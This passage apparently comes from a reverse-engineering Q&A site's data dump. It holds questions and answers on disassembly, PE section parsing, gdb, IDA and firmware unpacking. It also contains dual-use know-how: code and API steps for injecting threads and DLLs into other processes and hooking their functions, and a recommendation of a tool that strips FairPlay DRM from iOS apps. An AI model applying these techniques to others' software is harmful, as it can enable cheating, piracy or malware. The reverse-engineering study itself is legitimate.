loc_401102&#xA;.text:004010F3&#xA;&#xA;.text:004010F3 loc_4010F3:                            &#xA;.text:004010F3                 mov     bl, [eax+5]                  ; bl = ((IMAGE_SECTION_HEADERS*)eax)-&amp;gt;Name[5]&#xA;.text:004010F6                 test    bl, bl                       ; if ((IMAGE_SECTION_HEADERS*)eax)-&amp;gt;Name[5] == 0&#xA;.text:004010F8                 jz      short loc_401104             ; then goto loc_401104&#xA;.text:004010FA                 inc     edx                          ; edx = (section counter)++&#xA;.text:004010FB                 sub     eax, 28h                     ; ((IMAGE_SECTION_HEADERS*)eax)-- &#xA;.text:004010FE                 cmp     edx, ecx                     ; if section counter &amp;lt; NumberOfSections&#xA;.text:00401100                 jb      short loc_4010F3             ; then goto loc_4010F3&#xA;.text:00401102&#xA;&#xA;.text:00401102 loc_401102:                             &#xA;.text:00401102                 xor     eax, eax                     ; eax = 0&#xA;.text:00401104&#xA;&#xA;.text:00401104 loc_401104:                             &#xA;.text:00401104                 pop     esi                          ; restore esi&#xA;.text:00401105                 pop     ebx                          ; restore ebx&#xA;.text:00401106                 retn                                 ; return eax = IMAGE_SECTION_HEADERS* with a 0x00 at Name[5]&#xA;&#xA;.text:00401106 Get_PE_section_address endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that there's a bug in the assembly code: it iterates backwards through &lt;code&gt;NumberOfSections&lt;/code&gt; Section Table entries, but since it starts with the second-to-last section, it may end up reading past the beginning of the first section's section table entry.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So, my question would be if there is anyone who can tell me which&#xA;  lines tells us that this is something about PE section address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Typically you would know the input argument to the function (in this case, the beginning of the PE module in memory), which would help you step through the assembly code. But even if you were given this code with little-to-no context (as we were here) a good hint that it's handling PE sections is the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004010DE                 movzx   ecx, word ptr [eax+6]        ; ecx = ((IMAGE_NT_HEADERS*)eax)-&amp;gt;FileHeader.NumberOfSections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whenever you see &lt;code&gt;movzx ..., word ptr [...+6]&lt;/code&gt;, it strongly suggests that the number of sections is being read, since there aren't other common &lt;code&gt;word&lt;/code&gt;-sized values beginning 6 bytes into a structure.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-12-14T21:59:22.177" LastActivityDate="2014-12-14T21:59:22.177" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6815" PostTypeId="1" CreationDate="2014-12-13T04:42:16.487" Score="3" ViewCount="106" Body="&lt;p&gt;IDA generates the following disassembly from a software :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004D594E add     eax, ebx&#xA;.text:004D5950 mov     [esi], eax&#xA;.text:004D5952 cmp     ebx, eax&#xA;.text:004D5954 jbe     short loc_&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we add &lt;code&gt;ebx&lt;/code&gt; to &lt;code&gt;eax&lt;/code&gt;, then we check if &lt;code&gt;ebx&lt;/code&gt; is lower or equal to &lt;code&gt;eax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is either a check to see if ebx is negative or to see if the addition resulted in a value higher than &lt;code&gt;0xFFFFFFFF&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hint on how I should interpret this?&lt;/p&gt;&#xA;" OwnerUserId="10182" LastEditorUserId="10182" LastEditDate="2014-12-13T04:50:03.020" LastActivityDate="2014-12-13T04:50:03.020" Title="Is this equivalent to overflow check" Tags="|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6816" PostTypeId="2" ParentId="6815" CreationDate="2014-12-13T04:49:22.870" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;we check if &lt;code&gt;eax&lt;/code&gt; is lower or equal to &lt;code&gt;ebx&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, &lt;code&gt;cmp ebx, eax; jbe ...&lt;/code&gt; checks to see if &lt;code&gt;ebx&lt;/code&gt; &lt;code&gt;&amp;lt;=&lt;/code&gt; &lt;code&gt;eax&lt;/code&gt;, not the other way around.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-13T04:49:22.870" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6817" PostTypeId="2" ParentId="6813" CreationDate="2014-12-13T06:44:21.800" Score="0" Body="&lt;p&gt;looks like some homemade untested code for retrieving section address retrieves address of second section if the section name[5] is null terminator \x0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV     ECX, DWORD PTR SS:[ESP+4]          ; ecx = 1000000 base of image&#xA;MOV     EAX, DWORD PTR DS:[ECX+3C]         ; eax = 0xe8 ptrtopeheader&#xA;MOVZX   EDX, WORD PTR DS:[EAX+ECX+14]      ; edx = e0 = sizeofoptional header&#xA;ADD     EAX, ECX                           ; eax = peheader&#xA;MOVZX   ECX, WORD PTR DS:[EAX+6]           ; ecx - no of sections&#xA;PUSH    EBX&#xA;ADD     EDX, EAX                           ; edx = 10001c8 ?&#xA;PUSH    ESI&#xA;LEA     ESI, DWORD PTR DS:[ECX+ECX*4]      ; esi = 14 ?&#xA;LEA     EAX, DWORD PTR DS:[EDX+ESI*8-38]   ; ? esi * 8 - 38 + edx ; 1000230&#xA;XOR     EDX, EDX&#xA;TEST    ECX, ECX&#xA;JBE     SHORT 01063F5E                     ; jmp ot if no sections&#xA;MOV     BL, BYTE PTR DS:[EAX+5]            ; checks for 0 in section name ?&#xA;TEST    BL, BL                             ; some kind of homemade crap&#xA;JE      SHORT 01063F6C                     ; jmps out of proc with address of second section if section name was sya .rsrc&#xA;INC     EDX                                ; loop checking section 1&#xA;SUB     EAX, 28                            ;  size of section header&#xA;CMP     EDX, ECX                           ; counting no of sections&#xA;JB      SHORT 01063F05                     ; &amp;lt;loop&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-12-13T06:44:21.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6819" PostTypeId="2" ParentId="1594" CreationDate="2014-12-13T12:22:09.880" Score="1" Body="&lt;p&gt;&lt;code&gt;Rasticrac&lt;/code&gt; can also automate the decryption (FairPlay DRM) of the iOS binary and is very easy to use!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Rasticrac&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Rapid Advanced Secure Thorough Intelligent Gaulish Nuclear Acclaimed Cracker&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Rasticrac is a very powerful tool to decrypt the iOS app binaries. You can install Rasticrac with Cydia by adding the following Repo source in Cydia:&#xA;  &lt;a href=&quot;http://cydia.iphonecake.com&quot; rel=&quot;nofollow&quot;&gt;http://cydia.iphonecake.com&lt;/a&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10248" LastEditorUserId="225" LastEditDate="2014-12-30T06:40:27.510" LastActivityDate="2014-12-30T06:40:27.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6821" PostTypeId="2" ParentId="6806" CreationDate="2014-12-13T22:50:35.260" Score="1" Body="&lt;p&gt;Within the IDA SDK there is a lot of flexibility (albeit lacking in documentation).&#xA;You are probably going to have to write your own plug-in, or you might have to make your own loader, and, or modify an existing processor module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably need to do this in C/C++ but maybe you could do it in Python.&#xA;See the folders &quot;loader&quot; and &quot;module&quot; from the SDK folder for more info and examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this processor is not popular enough for people to have published much on it yet and you'll have to be the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try asking the same question on the official hex-rays forum.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2014-12-13T22:50:35.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6822" PostTypeId="2" ParentId="6790" CreationDate="2014-12-13T23:01:54.213" Score="0" Body="&lt;p&gt;As the page is about to be displayed, capture the text (probably, basically a large string) using a code hook.&#xA;Use the same memory allocation functions the target is using (if it's using a DLL CRT it will be easier).&#xA;&quot;Realloc()&quot; or just recreate the text to fit in your changes (I.E. an html button section) using string functions.&#xA;The hard part might be that you'll have to handle the extra button press(es) your self via probably yet another hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it connecting to hosted webpage on the net?&#xA;If not it probably has a mini-webserver built in. There is a good chance in this case it's either using an open source, or commercial setup. Look for strings in the target that indicate what library/system it might be using, and, or, look for relevant DLL's (like &quot;awesomium&quot;, etc.) in the targets path. You might be able to find matching libs that you can use; again making some general assumptions that you are going to facilitate your mod/hack via a DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You got to do more RE'ing to find out how it's doing things and the answer(s) will reveal it's self.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2014-12-13T23:01:54.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6825" PostTypeId="1" CreationDate="2014-12-14T14:27:21.127" Score="1" ViewCount="624" Body="&lt;p&gt;Using &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;CreateRemoteThread&lt;/a&gt; we can call a specific kind of function of another process. It has to be application-defined and of type &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms686736%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;LPTHREAD_START_ROUTINE&lt;/a&gt;.&lt;br&gt;&#xA;If no such function does exist in the target process you have to inject your own and that's where I need your help.&lt;br&gt;&#xA;Using &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;VirtualAllocEx&lt;/a&gt; and &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;WriteProcessMemory&lt;/a&gt; I would like to inject such a function as byte code. So I'd like to know, what such a function looks like in raw assembly.&lt;/p&gt;&#xA;" OwnerUserId="10255" LastActivityDate="2014-12-14T18:54:40.677" Title="What does a thread function look like in assembly? (LPTHREAD_START_ROUTINE, CreateRemoteThread)" Tags="|windows|assembly|byte-code|" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-18T10:17:10.033" ContentLicense="CC BY-SA 3.0" />
  <row Id="6826" PostTypeId="2" ParentId="6825" CreationDate="2014-12-14T18:54:40.677" Score="3" Body="&lt;p&gt;This question is a little too broad to answer without more information but I'll cover some general points about what I think you're looking for. I'm also going to assume x86 calling convention on Windows for simplicity's sake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that really determines what a function &quot;looks like&quot; in assembly is its calling convention, but there's no restriction (particularly writing raw byte code) about what a function can do. In the case of using CreateRemoteThread the only restriction is that you don't corrupt the stack (which could crash the target process)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, I could write a function in assembly that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nop&#xA;nop&#xA;nop&#xA;nop&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it would be 100% valid. But as far as more complicated functionality let's look at the MSDN for CreateRemoteThread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LPTHREAD_START_ROUTINE&lt;/code&gt; is a #define to the following function definition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD WINAPI ThreadProc(&#xA;  _In_  LPVOID lpParameter&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where WINAPI is another #define to the stdcall calling convention. You can check the wiki for it &lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#stdcall&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; but the important part (if you're writing raw assembly&quot;) is that for WINAPI/stdcall functions the callee function cleans up the stack, which means the function that you write which runs in the remote process will have to cleanup its parameter(s). This is done with the ret N set of instructions. For example, if you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WINAPI foo(int x)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the foo will have to clean up one parameter on the stack, so the assembly for this function will end with a &lt;code&gt;ret 4&lt;/code&gt; instruction, because there was one parameter which means 4 bytes need to be cleaned up on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, if you had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WINAPI bar(int x, int y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the assembly will end with a &lt;code&gt;ret 8&lt;/code&gt; instruction, because there are 2 parameters = 8 bytes now. It's also important to note that if I had something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WINAPI foobar(char x, char y, int z)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will still end in a &lt;code&gt;ret 0C&lt;/code&gt;. Even though the char params only have one byte of data the stack will still be aligned in 4 byte increments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going back to the API for CreateRemoteThread you can see that one of the paremeters is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LPVOID lpParameter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is the pointer that gets passed a parameter to your remote function. This means that in your &quot;remote&quot; function you'd have to clean up one parameter on the stack using a ret 4 instruction. If you perform some tricks you can write your WINAPI function in C code, have the compiler compile it for you (makes it easier to code and you don't have to worry about cleanup yourself), and find the function at run time to copy it off.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2014-12-14T18:54:40.677" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6827" PostTypeId="1" CreationDate="2014-12-15T05:05:52.653" Score="2" ViewCount="68" Body="&lt;p&gt;I'm doing a project that reorders basic blocks inside a function at runtime in C++ under 64-bit Linux. The reordering process includes updating instructions like &quot;jmp&quot;. One problem is that if the compiler (clang++ or g++) determines the try{...} block using a range, i.e., from address1 to address2; the reordered code would have problems (some basic blocks are out of range and some new basic blocks are swapped in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Does the compiler/program determines the try{...} block using a range? If so, or not, how can I know and modify the corresponding determinants, through which I can recover the try/throw/catch blocks and let the program execute normally; when the program has been already loaded into memory?&lt;/p&gt;&#xA;" OwnerUserId="10258" LastEditorUserId="10258" LastEditDate="2014-12-15T05:11:35.787" LastActivityDate="2014-12-15T05:11:35.787" Title="How to know the C++ try/throw/catch block size and address from machine code?" Tags="|disassembly|binary-analysis|decompilation|c++|obfuscation|" AnswerCount="0" CommentCount="1" ClosedDate="2014-12-15T12:28:07.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="6828" PostTypeId="1" AcceptedAnswerId="8011" CreationDate="2014-12-15T08:51:36.597" Score="4" ViewCount="10926" Body="&lt;p&gt;I am facing a little bit of problem during reverse a QT application with Ollydbg or IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This software use a protection schema to indetify the number of click made on a QList. After a random amount of click on list rows replace the content of the list with a blank string. That's give me troubles because the protection is dinamic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone of you can point me to some hints to work with QT application or explain me how to identify an event (signal/slot) and work on it please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated, i have searching a lot but there aren't tutorial or documentation about QT reversing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3214" LastActivityDate="2015-03-14T23:22:45.177" Title="Hints to reverse engineering a QT software" Tags="|ida|ollydbg|patch-reversing|qt|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6830" PostTypeId="1" CreationDate="2014-12-15T11:24:29.890" Score="5" ViewCount="1031" Body="&lt;p&gt;Consider this code snippet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XtGil.png&quot; alt=&quot;sample&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find the code that declares the global variable in Ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find where it is.&lt;/p&gt;&#xA;" OwnerUserId="10262" LastEditorUserId="10153" LastEditDate="2014-12-16T16:48:56.797" LastActivityDate="2014-12-16T16:48:56.797" Title="Where is the code for a global variable declaration in Ollydbg?" Tags="|disassembly|ollydbg|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6832" PostTypeId="2" ParentId="6830" CreationDate="2014-12-15T15:16:42.837" Score="7" Body="&lt;p&gt;The C compiler doesn't create any assembly code to declare and initialize global fundamental data types, so you won't see anything like &lt;code&gt;MOV ..., 3&lt;/code&gt; in OllyDbg for your program above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the disassembly of your program below, you can see that the &lt;strong&gt;global&lt;/strong&gt; variable is stored at &lt;code&gt;dword_402000&lt;/code&gt;, which is hardcoded to begin with a value of &lt;code&gt;3&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uoLYO.png&quot; alt=&quot;Disassembly&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-12-15T15:24:11.560" LastActivityDate="2014-12-15T15:24:11.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6833" PostTypeId="1" AcceptedAnswerId="6834" CreationDate="2014-12-16T12:47:15.673" Score="5" ViewCount="1933" Body="&lt;p&gt;I am learning DLL injection basics and different techniques to achieve it, like using &lt;code&gt;CreateProcess&lt;/code&gt; and &lt;code&gt;LoadLibrary&lt;/code&gt; for example, or simply replacing a .dll in folder where the application to inject into resides. &#xA;I was able to perform some basic tasks after having loaded the .dll into application's memory space like invoking a &lt;code&gt;MessageBox&lt;/code&gt; on &lt;code&gt;DLLEntry&lt;/code&gt; and some others. &#xA;But how can one manipulate with the code of the application itself, eg. calling a certain procedure that is part of the application, or simply modifying a variable? &#xA;Most tutorials I have read online discuss only injection process itself, but not the actual manipulations with applications. Or at least I am having trouble finding that information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how to find/extract the memory parts of the application you are interested in and then modify/alter them?&lt;/p&gt;&#xA;" OwnerUserId="4726" LastActivityDate="2014-12-16T14:48:21.507" Title="DLL Injection search for procedures/variables" Tags="|dll|winapi|dll-injection|function-hooking|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6834" PostTypeId="2" ParentId="6833" CreationDate="2014-12-16T13:23:34.633" Score="6" Body="&lt;p&gt;If you want to use a function in the application the bottom line is that you need to know where it's located.  Without ASLR you can hardcode the address of the function into your DLL, and use a function pointer to call it.  If you want to modify data from a function in a loaded library then you would need to hook that function, and call your own code for its operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an application's function is at 0x0041A000 you can create a function pointer if you know all the information about the function; the call convention, return value, and parameters.  Assume it's a &lt;code&gt;__stdcall&lt;/code&gt;, two &lt;code&gt;VOID *&lt;/code&gt;parameters, and returns a &lt;code&gt;DWORD&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef DWORD (WINAPI *FunctionType)(VOID *a, VOID *b);&#xA;&#xA;DllEntry(...)&#xA;{&#xA;    FunctionType function = (FunctionType) 0x0041A000;&#xA;&#xA;    function(your_param1, your_param2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also hook that function by using the &lt;a href=&quot;http://research.microsoft.com/en-us/projects/detours/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Detours&lt;/a&gt; library.  Again you would hardcode the address of the function you want to hook, and write your own version of the function.  You need to make sure that it returns the same type of value as the real function to ensure nothing breaks in the calling function.  Using &lt;code&gt;GetProcAddress&lt;/code&gt; you can hook a function call of a library rather than the application's function.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all gets complicated with ASLR.  As the application might not be at the location you think it is.  &lt;a href=&quot;https://stackoverflow.com/a/11564232/3714897&quot;&gt;This answer&lt;/a&gt; can help with the calculations of certain sections determined by the base address of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifying global variables is the same kind of deal.  You'll need to find their offset in the program.  You can then create pointer to that memory address for manipulating it.     &lt;/p&gt;&#xA;" OwnerUserId="8176" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-12-16T14:48:21.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6835" PostTypeId="1" AcceptedAnswerId="6836" CreationDate="2014-12-16T20:18:18.937" Score="11" ViewCount="19213" Body="&lt;p&gt;I want to modify my teamspeak server (linux), I'm particulary interested in the connection with clients (UDP), so I figured I need to set a breakpoint at the linux socket function to start reversing. How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10278" LastActivityDate="2015-01-16T18:28:10.033" Title="Setting a breakpoint at system call" Tags="|linux|operating-systems|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6836" PostTypeId="2" ParentId="6835" CreationDate="2014-12-16T21:18:52.073" Score="13" Body="&lt;p&gt;In &lt;code&gt;gdb&lt;/code&gt; you can set a syscall breakpoint with &lt;code&gt;catch syscall&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is in 32-bit x86 (IA-32), check the syscall number in &lt;code&gt;your_linux_source_dir/usr/include/asm/unistd_32.h&lt;/code&gt;. There is no syscall called &lt;code&gt;socket&lt;/code&gt; in 32-bit x86, do you mean &lt;code&gt;socketcall&lt;/code&gt;? Its number is 102.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is in x86-64 (AMD64), check the syscall number in &lt;code&gt;your_linux_kernel_source_dir/usr/include/asm/unistd_64.h&lt;/code&gt;. The syscall called &lt;code&gt;socket&lt;/code&gt; is 41.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run the executable in &lt;code&gt;gdb&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb myexecutable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And set the syscall breakpoint (41 is the &lt;code&gt;socket&lt;/code&gt; syscall number in x86-64, change to appropriate syscall number for you):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) catch syscall 41&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then run the program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the name of syscall (such as &lt;code&gt;socket&lt;/code&gt;) instead of the number (eg. &lt;code&gt;41&lt;/code&gt;) may also work, depending on your configuration.&lt;/p&gt;&#xA;" OwnerUserId="1648" LastEditorUserId="1648" LastEditDate="2015-01-16T18:28:10.033" LastActivityDate="2015-01-16T18:28:10.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6837" PostTypeId="1" CreationDate="2014-12-16T21:29:09.623" Score="0" ViewCount="80" Body="&lt;p&gt;I have a file used to flash new firmware to a phone and I need to unpack it into smaller files that are contained in the &quot;TBN&quot; file. The smaller files that are contained in the TBN file are common files used when flashing phones that usually come as separate files so I know about them but I don't know how to extract them from this TBN file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about unpacking this file?&lt;/p&gt;&#xA;" OwnerUserId="10280" LastActivityDate="2014-12-16T22:09:37.010" Title="How do I unpack a TBN File, meant for flashing a phone?" Tags="|firmware|file-format|unpacking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6838" PostTypeId="2" ParentId="6837" CreationDate="2014-12-16T22:09:37.010" Score="2" Body="&lt;p&gt;It might be a standard file format, just renamed. Try &lt;a href=&quot;http://binwalk.org/&quot; rel=&quot;nofollow&quot;&gt;binwalk&lt;/a&gt; on it.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-12-16T22:09:37.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6839" PostTypeId="1" CreationDate="2014-12-17T07:29:09.120" Score="1" ViewCount="1120" Body="&lt;p&gt;I have researched a lot about reverse engineering WP8 apps but nothing seems to work for apps that are digitally signed (Yes, I am talking about Apps from Windows App Store)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XAPSpy works with Windows Phone 7 only and may be, with unsigned WP8 apps(but I am not sure on this part).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some answers of StackExchange says that &lt;code&gt;Tangerine&lt;/code&gt; and &lt;code&gt;Windows Phone App Analyzer&lt;/code&gt; can be used, but it doesn't seem to work with digitally signed apps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Question&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it not possible at all, to reverse engineer WP8 apps collected from Store and perform security audit? &#xA;TIA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="3868" LastActivityDate="2014-12-17T07:29:09.120" Title="Is it possible to Reverse engineer digitally signed Windows Phone 8 apps (WP8 APPS)?" Tags="|windowsphone|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6841" PostTypeId="1" CreationDate="2014-12-17T15:55:50.633" Score="4" ViewCount="901" Body="&lt;p&gt;I work in a game editor that develop an online game. In our endless struggle against bots (that have negative impacts on server performances, game economy, game experience, ...), one of ours weapons to detect bots is to send an signed As3 bytecode to the client (coded in As3 too) and ask him to execute it. The bytecode will :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Embed an AES key (K)&lt;/li&gt;&#xA;&lt;li&gt;K is split into different parts of the bytecode&lt;/li&gt;&#xA;&lt;li&gt;Check environment&lt;/li&gt;&#xA;&lt;li&gt;Crypt though AES a game session information with K and send it to the server&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The bytecode and K change every 2 hours&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bytecode is obfuscate with a commercial program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method worked well for months but since a few weeks bots are back. I have found they decompile automatically our bytecode in order to extract K.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;K is a byte array &lt;/li&gt;&#xA;&lt;li&gt;I don't care if the key can be manually recovered (in a reasonable time) if it's not possible to do it automatically.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which approach would you recommend to protect K from being recovered by decompilation ?&lt;/p&gt;&#xA;" OwnerUserId="10284" LastActivityDate="2015-01-02T07:42:06.557" Title="Protect a key from being recovered by decompilation" Tags="|decompilation|deobfuscation|cryptography|byte-code|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6842" PostTypeId="1" AcceptedAnswerId="6845" CreationDate="2014-12-17T19:39:18.250" Score="4" ViewCount="3972" Body="&lt;p&gt;I would like to debug my elf file on linux using GDB and follow the disassembly in IDA, is this possible? And if it is how would I rebase IDA to match with GDB?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10278" LastActivityDate="2014-12-18T01:14:24.460" Title="How to rebase IDA to match GDB" Tags="|ida|linux|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6845" PostTypeId="2" ParentId="6842" CreationDate="2014-12-18T01:14:24.460" Score="4" Body="&lt;p&gt;If you are trying to rebase an elf, you could do &lt;code&gt;info proc mappings&lt;/code&gt;. This will show you all of the mapped addresses. (This could also be viewed by doing &lt;code&gt;cat /proc/&amp;lt;pid&amp;gt;/map&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just rebase your IDA via EDIT-&gt;Segments-&gt;Rebase program and select &lt;code&gt;Image Base&lt;/code&gt; from the radio buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info proc mappings &#xA;process 12383&#xA;Mapped address spaces:&#xA;    Start Addr   End Addr       Size     Offset objfile&#xA;     0x8048000  0x8049000     0x1000          0      /home/user/my_elf&#xA;     0x8049000  0x804a000     0x1000          0      /home/user/my_elf&#xA;     0x804a000  0x804b000     0x1000     0x1000      /home/user/my_elf&#xA;   